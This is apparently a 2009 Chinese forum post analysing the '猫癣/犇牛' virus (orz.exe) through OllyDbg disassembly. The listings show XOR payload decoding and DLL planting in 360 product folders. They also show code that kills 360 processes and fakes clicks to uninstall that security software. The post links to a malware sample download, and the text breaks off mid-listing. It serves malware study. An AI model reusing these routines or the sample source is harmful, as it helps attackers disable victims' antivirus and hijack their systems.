首页
论坛
课程
招聘
[原创]猫癣(犇牛)病毒 主程序 orz.exe分析
2009-3-1 12:16 9411

[原创]猫癣(犇牛)病毒 主程序 orz.exe分析

2009-3-1 12:16
9411
从挂马简报里的被挂马的网站获得病毒样本..发现被挂都是同一个下载者..然后我对主程序就简要的

分析了下.. 发现是猫癣 不过这个也之前我分析的猫癣有些差异..

分析得到下载地址..然后又得到好多样本..多是游戏木马..哈哈..这下发了

样本下载 http://yben.ys168.com/
1 找到本进程的父进程..
实现:利用 GetCurrentProcessId 得到本进程的ID 在用Process32First 与 Process32Next 与ID比较 相等了,通过结构体获得父进程ID
{
00415CA6   |.  56             push esi
00415CA7   |.  57             push edi
00415CA8   |.  33C0           xor eax,eax
00415CAA   |.  B9 49000000    mov ecx,49
00415CAF   |.  8D7C24 0C      lea edi,dword ptr ss:[esp+C]
00415CB3   |.  C74424 08 0000>mov dword ptr ss:[esp+8],0
00415CBB   |.  50             push eax                                  ; /ProcessID => 0
00415CBC   |.  6A 02          push 2                                    ; |Flags = TH32CS_SNAPPROCESS
00415CBE   |.  F3:AB          rep stos dword ptr es:[edi]               ; |
00415CC0   |.  E8 37060000    call orz18.004162FC                       ; \CreateToolhelp32Snapshot
00415CC5   |.  8BF0           mov esi,eax
00415CC7   |.  83FE FF        cmp esi,-1
00415CCA   |.  75 0B          jnz short orz18.00415CD7
00415CCC   |.  5F             pop edi
00415CCD   |.  33C0           xor eax,eax
00415CCF   |.  5E             pop esi
00415CD0   |.  81C4 28010000  add esp,128
00415CD6   |.  C3             retn
00415CD7   |>  8D4424 08      lea eax,dword ptr ss:[esp+8]
00415CDB   |.  C74424 08 2801>mov dword ptr ss:[esp+8],128
00415CE3   |.  50             push eax                                  ; /pProcessentry
00415CE4   |.  56             push esi                                  ; |hSnapshot
00415CE5   |.  E8 0C060000    call orz18.004162F6                       ; \Process32First
00415CEA   |.  85C0           test eax,eax
00415CEC   |.  74 21          je short orz18.00415D0F
00415CEE   |.  8B3D 5C104000  mov edi,dword ptr ds:[40105C]             ;  kernel32.GetCurrentProcessId
00415CF4   |.  FFD7           call edi                                  ; [GetCurrentProcessId
00415CF6   |.  394424 10      cmp dword ptr ss:[esp+10],eax
00415CFA   |.  74 13          je short orz18.00415D0F
00415CFC   |>  8D4C24 08      /lea ecx,dword ptr ss:[esp+8]
00415D00   |.  51             |push ecx                                 ; /pProcessentry
00415D01   |.  56             |push esi                                 ; |hSnapshot
00415D02   |.  E8 E9050000    |call orz18.004162F0                      ; \Process32Next
00415D07   |.  FFD7           |call edi
00415D09   |.  394424 10      |cmp dword ptr ss:[esp+10],eax
00415D0D   |.^ 75 ED          \jnz short orz18.00415CFC
00415D0F   |>  8B4424 20      mov eax,dword ptr ss:[esp+20]
00415D13   |.  5F             pop edi
00415D14   |.  5E             pop esi
00415D15   |.  81C4 28010000  add esp,128
00415D1B   \.  C3             retn
}
2 创建 CreateMutexA 对象 判断创建的互斥体是否名为"oioipuy",若此互斥变量存在,则退出进程;
{
004161AE   |> \68 F8434100    push orz18.004143F8                       ; /MutexName = "oioipuy"
004161B3   |.  6A 01          push 1                                    ; |InitialOwner = TRUE
004161B5   |.  56             push esi                                  ; |pSecurity
004161B6   |.  FF15 74104000  call dword ptr ds:[401074]                ; \CreateMutexA
004161BC   |.  FF15 70104000  call dword ptr ds:[401070]                ;  ntdll.RtlGetLastWin32Error
}
3 在C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\创建文件1696,创建之前先内存中还原1696

1696文件数据在内存中还原
{
00416170     33C0             xor eax,eax
00416172     B1 07            mov cl,7
00416174     8A90 24D74000    mov dl,byte ptr ds:[eax+40D724]-->指向内存缓冲区0040D704
0041617A     32D1             xor dl,cl
0041617C     8890 24D74000    mov byte ptr ds:[eax+40D724],dl
00416182     40               inc eax
00416183     3D 802A0000      cmp eax,2A80
00416188   ^ 7C EA            jl short orz18.00416174
}
4 在1696文件头部加MZ
{
00416136     FF15 A0104000    call dword ptr ds:[4010A0]       ; kernel32.CreateFileA
0041613C     56               push esi
0041613D     8BF8             mov edi,eax
0041613F     56               push esi
00416140     56               push esi
00416141     57               push edi
00416142     FF15 60104000    call dword ptr ds:[401060]       ; kernel32.SetFilePointer
00416148     8D45 08          lea eax,dword ptr ss:[ebp+8]
0041614B     56               push esi
0041614C     50               push eax
0041614D     6A 02            push 2
0041614F     68 74434100      push orz18.00414374              ; ASCII "MZ"
00416154     57               push edi
00416155     FF15 A4104000    call dword ptr ds:[4010A4]       ; kernel32.WriteFile
0041615B     57               push edi
0041615C     FF15 AC104000    call dword ptr ds:[4010AC]       ; kernel32.CloseHandle
}
004158A7     68 30D54000      push orz18.0040D530              ; ASCII "safeboxTray.exe"
5 在内存中把 safeboxTray.exe 360tray.exe usp10.dll /u. 还原出来
还原过程 00414960
{
0041498A   |> /8A0C32         /mov cl,byte ptr ds:[edx+esi]
0041498D   |. |8AC2           |mov al,dl
0041498F   |. |2C 3B          |sub al,3B
00414991   |. |8BFE           |mov edi,esi
00414993   |. |D0E0           |shl al,1
00414995   |. |02C8           |add cl,al
00414997   |. |33C0           |xor eax,eax
00414999   |. |880C32         |mov byte ptr ds:[edx+esi],cl
0041499C   |. |83C9 FF        |or ecx,FFFFFFFF
0041499F   |. |42             |inc edx
004149A0   |. |F2:AE          |repne scas byte ptr es:[edi]
004149A2   |. |F7D1           |not ecx
004149A4   |. |49             |dec ecx
004149A5   |. |3BD1           |cmp edx,ecx
004149A7   |.^\72 E1          \jb short orz18.0041498A
}
6 在进程中查找 safeboxTray.exe,找到之后打开该进程,在用EnumProcessModules  GetModuleFileNameExA
得到路径C:\Program Files\360\360safebox\SafeBoxtray.exe

7 替换文件,然后把rptup.dll在内存里数据还原,在创建C:\Program Files\360\360safebox\rptup.dll
实现 : MoveFileExA(C:\Program Files\360\360safebox\rptup.dll,新C:\Program Files\360\360safebox\libspyerps.dat")

00415ACA   |.  E8 F1EDFFFF    call orz18.004148C0

{
                        rptup.dll在内存里数据还原
                        {
                        004148A4   |> /8A90 30114000  /mov dl,byte ptr ds:[eax+401130]
                        004148AA   |. |32D1           |xor dl,cl
                        004148AC   |. |8890 30114000  |mov byte ptr ds:[eax+401130],dl
                        004148B2   |. |40             |inc eax
                        004148B3   |. |3D 00C40000    |cmp eax,0C400
                        004148B8   |.^\7C EA          \jl short orz18.004148A4
                        }
                       
}
8 创建C:\Program Files\360\360safebox\usp10.dll

9 创建一个进程 执行 C:\Program Files\360\360safebox\SafeBoxtray.exe /u,然后弹出360保险箱卸
模拟鼠标点击
{
004153B6   |.  56             push esi
004153B7   |.  57             push edi
004153B8   |.  FF15 F8104000  call dword ptr ds:[4010F8]          ; [\\ GetForegroundWindow返回前台窗口
004153BE   |.  8BF0           mov esi,eax
004153C0   |.  B9 40000000    mov ecx,40
004153C5   |.  33C0           xor eax,eax
004153C7   |.  8D7C24 21      lea edi,dword ptr ss:[esp+21]
004153CB   |.  C64424 20 00   mov byte ptr ss:[esp+20],0
004153D0   |.  68 04010000    push 104                            ; /Count = 104 (260.)
004153D5   |.  F3:AB          rep stos dword ptr es:[edi]         ; |
004153D7   |.  66:AB          stos word ptr es:[edi]              ; |
004153D9   |.  AA             stos byte ptr es:[edi]              ; |
004153DA   |.  8D4424 24      lea eax,dword ptr ss:[esp+24]       ; |
004153DE   |.  50             push eax                            ; |Buffer
004153DF   |.  56             push esi                            ; |hWnd
004153E0   |.  FF15 20114000  call dword ptr ds:[401120]          ; \GetWindowTextA
004153E6   |.  8D4C24 08      lea ecx,dword ptr ss:[esp+8]
004153EA   |.  51             push ecx                            ; /pPoint
004153EB   |.  FF15 14114000  call dword ptr ds:[401114]          ; \GetCursorPos
004153F1   |.  8D5424 20      lea edx,dword ptr ss:[esp+20]
004153F5   |.  68 50D54000    push orz18.0040D550                 ; /s2 = "360保险箱提示"
004153FA   |.  52             push edx                            ; |s1
004153FB   |.  E8 300F0000    call orz18.00416330                 ; \_stricmp
00415400   |.  83C4 08        add esp,8
00415403   |.  85C0           test eax,eax
00415405   |.  75 68          jnz short orz18.0041546F
00415407   |.  53             push ebx
00415408   |.  8D4424 14      lea eax,dword ptr ss:[esp+14]
0041540C   |.  55             push ebp
0041540D   |.  50             push eax                            ; /pRect
0041540E   |.  56             push esi                            ; |hWnd
0041540F   |.  FF15 FC104000  call dword ptr ds:[4010FC]          ; \\\ \\GetWindowRect 窗口的边框矩形的尺寸
00415415   |.  8B5424 1C      mov edx,dword ptr ss:[esp+1C]
00415419   |.  8B4C24 20      mov ecx,dword ptr ss:[esp+20]
0041541D   |.  8B1D F4104000  mov ebx,dword ptr ds:[4010F4]       ;  USER32.SetCursorPos
00415423   |.  8DBA BE000000  lea edi,dword ptr ds:[edx+BE]
00415429   |.  8DB1 1AFFFFFF  lea esi,dword ptr ds:[ecx-E6]
0041542F   |.  57             push edi                            ; /Y
00415430   |.  56             push esi                            ; |X
00415431   |.  FFD3           call ebx                            ; \SetCursorPos
00415433   |.  8B2D F0104000  mov ebp,dword ptr ds:[4010F0]       ;  USER32.mouse_event
00415439   |.  6A 00          push 0                              ; /ExtraInfo = 0
0041543B   |.  6A 00          push 0                              ; |Reserved = 0
0041543D   |.  57             push edi                            ; |dY
0041543E   |.  56             push esi                            ; |dX
0041543F   |.  68 02800000    push 8002                           ; |Flags = MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_ABSOLUTE
00415444   |.  FFD5           call ebp                            ; \mouse_event
00415446   |.  6A 00          push 0                              ; /ExtraInfo = 0
00415448   |.  6A 00          push 0                              ; |Reserved = 0
0041544A   |.  57             push edi                            ; |dY
0041544B   |.  56             push esi                            ; |dX
0041544C   |.  68 04800000    push 8004                           ; |Flags = MOUSEEVENTF_LEFTUP|MOUSEEVENTF_ABSOLUTE
00415451   |.  FFD5           call ebp                            ; \mouse_event
00415453   |.  8B4424 14      mov eax,dword ptr ss:[esp+14]
00415457   |.  8B4C24 10      mov ecx,dword ptr ss:[esp+10]
0041545B   |.  50             push eax                            ; /Y
0041545C   |.  51             push ecx                            ; |X
0041545D   |.  FFD3           call ebx                            ; \SetCursorPos
0041545F   |.  5D             pop ebp
00415460   |.  5B             pop ebx                             ;  USER32.SetCursorPos
00415461   |.  5F             pop edi
00415462   |.  B8 01000000    mov eax,1
00415467   |.  5E             pop esi
00415468   |.  81C4 1C010000  add esp,11C
0041546E   |.  C3             retn

}
10 结束进程 safeboxTray.exe 360tray.exe
00415B28   |> \E8 13FBFFFF    call orz18.00415640

{
00415671   |.  55             push ebp
00415672   |.  50             push eax                            ; /pProcessentry
00415673   |.  56             push esi                            ; |hSnapshot
00415674   |.  C74424 18 2801>mov dword ptr ss:[esp+18],128       ; |
0041567C   |.  E8 750C0000    call orz18.004162F6                 ; \Process32First
00415681   |.  8B2D AC104000  mov ebp,dword ptr ds:[4010AC]       ;  kernel32.CloseHandle
00415687   |.  85C0           test eax,eax
00415689   |.  0F84 84000000  je orz18.00415713
0041568F   |.  53             push ebx
00415690   |.  8B1D 24114000  mov ebx,dword ptr ds:[401124]       ;  USER32.MessageBoxA
00415696   |.  57             push edi
00415697   |.  8B3D 88104000  mov edi,dword ptr ds:[401088]       ;  kernel32.Sleep
0041569D   |>  8D4C24 3C      /lea ecx,dword ptr ss:[esp+3C]
004156A1   |.  68 30D54000    |push orz18.0040D530                ; /String2 = "safeboxTray.exe"
004156A6   |.  51             |push ecx                           ; |String1
004156A7   |.  FF15 40104000  |call dword ptr ds:[401040]         ; \lstrcmpiA
004156AD   |.  85C0           |test eax,eax
004156AF   |.  74 14          |je short orz18.004156C5
004156B1   |.  8D5424 3C      |lea edx,dword ptr ss:[esp+3C]
004156B5   |.  68 40D54000    |push orz18.0040D540                ; /String2 = "360tray.exe"
004156BA   |.  52             |push edx                           ; |String1
004156BB   |.  FF15 40104000  |call dword ptr ds:[401040]         ; \lstrcmpiA
004156C1   |.  85C0           |test eax,eax
004156C3   |.  75 3D          |jnz short orz18.00415702
004156C5   |>  8B4424 20      |mov eax,dword ptr ss:[esp+20]
004156C9   |.  50             |push eax                           ; /ProcessId
004156CA   |.  6A 00          |push 0                             ; |Inheritable = FALSE
004156CC   |.  6A 01          |push 1                             ; |Access = TERMINATE
004156CE   |.  FF15 98104000  |call dword ptr ds:[401098]         ; \OpenProcess
004156D4   |.  8BF0           |mov esi,eax
004156D6   |.  85F6           |test esi,esi
004156D8   |.  74 0D          |je short orz18.004156E7
004156DA   |.  6A 00          |push 0                             ; /ExitCode = 0
004156DC   |.  56             |push esi                           ; |hProcess
004156DD   |.  FF15 9C104000  |call dword ptr ds:[40109C]         ; \TerminateProcess
004156E3   |.  894424 10      |mov dword ptr ss:[esp+10],eax
004156E7   |>  56             |push esi
004156E8   |.  FFD5           |call ebp                            //CloseHandle
004156EA   |.  6A 0A          |push 0A
004156EC   |.  FFD7           |call edi                            //sleep
004156EE   |.  6A 00          |push 0
004156F0   |.  68 58664100    |push orz18.00416658
004156F5   |.  68 58664100    |push orz18.00416658
004156FA   |.  6A FF          |push -1
004156FC   |.  FFD3           |call ebx
004156FE   |.  8B7424 14      |mov esi,dword ptr ss:[esp+14]
00415702   |>  8D4C24 18      |lea ecx,dword ptr ss:[esp+18]
00415706   |.  51             |push ecx                           ; /pProcessentry
00415707   |.  56             |push esi                           ; |hSnapshot
00415708   |.  E8 E30B0000    |call orz18.004162F0                ; \Process32Next
0041570D   |.  85C0           |test eax,eax
0041570F   |.^ 75 8C          \jnz short orz18.0041569D
00415711   |.  5F             pop edi
00415712   |.  5B             pop ebx
00415713   |>  56             push esi
00415714   |.  FFD5           call ebp                           //CloseHandle
00415716   |.  8B4424 08      mov eax,dword ptr ss:[esp+8]
0041571A   |.  5D             pop ebp
0041571B   |.  5E             pop esi
0041571C   |.  81C4 30010000  add esp,130
00415722   \.  C3             retn
}
11 在进程中查找 360tray.exe,找到之后打开该进程,在用EnumProcessModules  GetModuleFileNameExA ,
得到路径C:\Program Files\360\360Safe\safemon\360tray.exe,由这个路径得到C:\Program Files\360\360Safe\+++deepscan\uninst.exe

CopyFileA(C:\Program Files\360\360Safe\uninst.exe,新C:\Program Files\360\360Safe\+++deepscan\uninst.exe)
{
0041506E   |.  50             push eax                                             ; |NewFileName
0041506F   |.  F3:A4          rep movs byte ptr es:[edi],byte ptr ds:[esi]         ; |
00415071   |.  8D8C24 4C02000>lea ecx,dword ptr ss:[esp+24C]                       ; |
00415078   |.  51             push ecx                                             ; |ExistingFileName
00415079   |.  FF15 3C104000  call dword ptr ds:[40103C]                           ; \CopyFileA
}
12 创建 C:\Program Files\360\360Safe\deepscan\usp10.dll
实现:
数据还原
{
004148A4   |> /8A90 30114000  /mov dl,byte ptr ds:[eax+401130]
004148AA   |. |32D1           |xor dl,cl
004148AC   |. |8890 30114000  |mov byte ptr ds:[eax+401130],dl
004148B2   |. |40             |inc eax
004148B3   |. |3D 00C40000    |cmp eax,0C400
004148B8   |.^\7C EA          \jl short orz18.004148A4

}

关键00415B2D   |.  E8 EEF2FFFF    call orz18.00414E20

00415100   |.  FF15 34104000  call dword ptr ds:[401034]                           ; \CreateThread

13 创建一个线程

004150E9   |.  6A 0A          push 0A                                              ; /Timeout = 10. ms
004150EB   |.  FF15 88104000  call dword ptr ds:[401088]                           ; \Sleep
004150F1   |.  6A 00          push 0                                               ; /pThreadId = NULL
004150F3   |.  6A 00          push 0                                               ; |CreationFlags = 0
004150F5   |.  6A 00          push 0                                               ; |pThreadParm = NULL
004150F7   |.  68 304D4100    push orz18.00414D30                                  ; |ThreadFunction = orz18.00414D30
004150FC   |.  6A 00          push 0                                               ; |StackSize = 0
004150FE   |.  6A 00          push 0                                               ; |pSecurity = NULL
00415100   |.  FF15 34104000  call dword ptr ds:[401034]                           ; \CreateThread
00415106   |.  8D4424 18      lea eax,dword ptr ss:[esp+18]
0041510A   |.  50             push eax                                             ; /Arg1
0041510B   |.  E8 80FCFFFF    call orz18.00414D90                                  ; \orz18.00414D90
线程函数
{
发消息卸载 呵呵
{
00414A70   /$  56             push esi
00414A71   |.  68 8CD54000    push orz18.0040D58C                 ; /Title = "360安全卫士"
00414A76   |.  68 A0D54000    push orz18.0040D5A0                 ; |Class = "#32770"
00414A7B   |.  FF15 28114000  call dword ptr ds:[401128]          ; \FindWindowA
00414A81   |.  85C0           test eax,eax
00414A83   |.  74 60          je short orz18.00414AE5
00414A85   |.  68 A8D54000    push orz18.0040D5A8                 ; /Title = "是"
00414A8A   |.  68 98D54000    push orz18.0040D598                 ; |Class = "Button"
00414A8F   |.  6A 00          push 0                              ; |hAfterWnd = NULL
00414A91   |.  50             push eax                            ; |hParent
00414A92   |.  FF15 08114000  call dword ptr ds:[401108]          ; \FindWindowExA
00414A98   |.  8BF0           mov esi,eax
00414A9A   |.  85F6           test esi,esi
00414A9C   |.  74 47          je short orz18.00414AE5
00414A9E   |.  57             push edi
00414A9F   |.  8B3D 0C114000  mov edi,dword ptr ds:[40110C]       ;  USER32.SendMessageA
00414AA5   |.  6A 00          push 0                              ; /lParam = 0
00414AA7   |.  6A 00          push 0                              ; |wParam = 0
00414AA9   |.  68 01020000    push 201                            ; |Message = WM_LBUTTONDOWN
00414AAE   |.  56             push esi                            ; |hWnd
00414AAF   |.  FFD7           call edi                            ; \SendMessageA
00414AB1   |.  6A 00          push 0                              ; /lParam = 0
00414AB3   |.  6A 00          push 0                              ; |wParam = 0
00414AB5   |.  68 02020000    push 202                            ; |Message = WM_LBUTTONUP
00414ABA   |.  56             push esi                            ; |hWnd
00414ABB   |.  FFD7           call edi                            ; \SendMessageA
00414ABD   |.  6A 0A          push 0A                             ; /Timeout = 10. ms
00414ABF   |.  FF15 88104000  call dword ptr ds:[401088]          ; \Sleep
00414AC5   |.  6A 00          push 0                              ; /lParam = 0
00414AC7   |.  6A 00          push 0                              ; |wParam = 0
00414AC9   |.  68 01020000    push 201                            ; |Message = WM_LBUTTONDOWN
00414ACE   |.  56             push esi                            ; |hWnd
00414ACF   |.  FFD7           call edi                            ; \SendMessageA
00414AD1   |.  6A 00          push 0                              ; /lParam = 0
00414AD3   |.  6A 00          push 0                              ; |wParam = 0
00414AD5   |.  68 02020000    push 202                            ; |Message = WM_LBUTTONUP
00414ADA   |.  56             push esi                            ; |hWnd
00414ADB   |.  FFD7           call edi                            ; \SendMessageA
00414ADD   |.  5F             pop edi
00414ADE   |.  B8 01000000    mov eax,1
00414AE3   |.  5E             pop esi
00414AE4   |.  C3             retn
00414AE5   |>  33C0           xor eax,eax
00414AE7   |.  5E             pop esi
00414AE8   \.  C3             retn

}
}
14 创建一个进程执行C:\Program Files\360\360Safe\deepscan\uninst.exe  _?=C:\D
0041510B   |.  E8 80FCFFFF         
{
00414D90   /$  83EC 54        sub esp,54
00414D93   |.  33C0           xor eax,eax
00414D95   |.  57             push edi
00414D96   |.  894424 08      mov dword ptr ss:[esp+8],eax
00414D9A   |.  B9 10000000    mov ecx,10
00414D9F   |.  894424 0C      mov dword ptr ss:[esp+C],eax
00414DA3   |.  8D7C24 18      lea edi,dword ptr ss:[esp+18]
00414DA7   |.  F3:AB          rep stos dword ptr es:[edi]
00414DA9   |.  8D4C24 04      lea ecx,dword ptr ss:[esp+4]
00414DAD   |.  8D5424 14      lea edx,dword ptr ss:[esp+14]
00414DB1   |.  51             push ecx                                             ; /pProcessInfo
00414DB2   |.  52             push edx                                             ; |pStartupInfo
00414DB3   |.  50             push eax                                             ; |CurrentDir => NULL
00414DB4   |.  50             push eax                                             ; |pEnvironment => NULL
00414DB5   |.  50             push eax                                             ; |CreationFlags => 0
00414DB6   |.  50             push eax                                             ; |InheritHandles => FALSE
00414DB7   |.  50             push eax                                             ; |pThreadSecurity => NULL
00414DB8   |.  894424 2C      mov dword ptr ss:[esp+2C],eax                        ; |
00414DBC   |.  66:894424 60   mov word ptr ss:[esp+60],ax                          ; |
00414DC1   |.  50             push eax                                             ; |pProcessSecurity => NULL
00414DC2   |.  8B4424 7C      mov eax,dword ptr ss:[esp+7C]                        ; |
00414DC6   |.  C74424 24 0000>mov dword ptr ss:[esp+24],0                          ; |
00414DCE   |.  50             push eax                                             ; |CommandLine
00414DCF   |.  6A 00          push 0                                               ; |ModuleFileName = NULL
00414DD1   |.  C74424 3C 4400>mov dword ptr ss:[esp+3C],44                         ; |
00414DD9   |.  C74424 68 0100>mov dword ptr ss:[esp+68],1                          ; |
00414DE1   |.  FF15 38104000  call dword ptr ds:[401038]                           ; \CreateProcessA
00414DE7   |.  6A FF          push -1                                              ; /Timeout = INFINITE
00414DE9   |.  8B4C24 08      mov ecx,dword ptr ss:[esp+8]                         ; |
00414DED   |.  51             push ecx                                             ; |hProcess
00414DEE   |.  FF15 04114000  call dword ptr ds:[401104]                           ; \WaitForInputIdle
00414DF4   |.  6A 00          push 0                                               ; /pThreadId = NULL
00414DF6   |.  6A 00          push 0                                               ; |CreationFlags = 0
00414DF8   |.  6A 00          push 0                                               ; |pThreadParm = NULL
00414DFA   |.  68 F0494100    push orz18.004149F0                                  ; |ThreadFunction = orz18.004149F0
00414DFF   |.  6A 00          push 0                                               ; |StackSize = 0
00414E01   |.  6A 00          push 0                                               ; |pSecurity = NULL
00414E03   |.  FF15 34104000  call dword ptr ds:[401034]                           ; \CreateThread
00414E09   |.  33C0           xor eax,eax
00414E0B   |.  5F             pop edi
00414E0C   |.  83C4 54        add esp,54
00414E0F   \.  C2 0400        retn 4

}

15 卸了之后有创建一条线程 删除C:\Program Files\360\360Safe\deepscan\usp10.dll

线程 004149F0
{
004149F0    .  53             push ebx
004149F1    .  56             push esi
004149F2    .  8B35 88104000  mov esi,dword ptr ds:[401088]                    ;  kernel32.Sleep
004149F8    .  57             push edi
004149F9    .  8B3D 7C104000  mov edi,dword ptr ds:[40107C]                    ;  kernel32.DeleteFileA
004149FF    .  33DB           xor ebx,ebx
00414A01    >  68 2C010000    push 12C
00414A06    .  FFD6           call esi
00414A08    .  68 54654100    push orz18.00416554                              ;  ASCII "C:\Program Files\360\360Safe\deepscan\usp10.dll"
00414A0D    .  FFD7           call edi
00414A0F    .  85C0           test eax,eax
00414A11    .  75 0D          jnz short orz18.00414A20
00414A13    .  43             inc ebx
00414A14    .  81FB 96000000  cmp ebx,96
00414A1A    .^ 7C E5          jl short orz18.00414A01
00414A1C    .  5F             pop edi
00414A1D    .  5E             pop esi
00414A1E    .  5B             pop ebx
}
16 删除 C:\Program Files\360\360safebox\usp10.dll C:\Program Files\360\360safebox\rptup.dll
   用rptup.dll替换libspyerps.dat
00415B3C   |.  50             push eax                   ; /C:\Program Files\360\360safebox\usp10.dll
00415B3D   |.  FFD6           call esi                   ; \DeleteFileA
00415B3F   |.  8D4C24 78      lea ecx,dword ptr ss:[esp+>
00415B43   |.  51             push ecx                   ; /C:\Program Files\360\360safebox\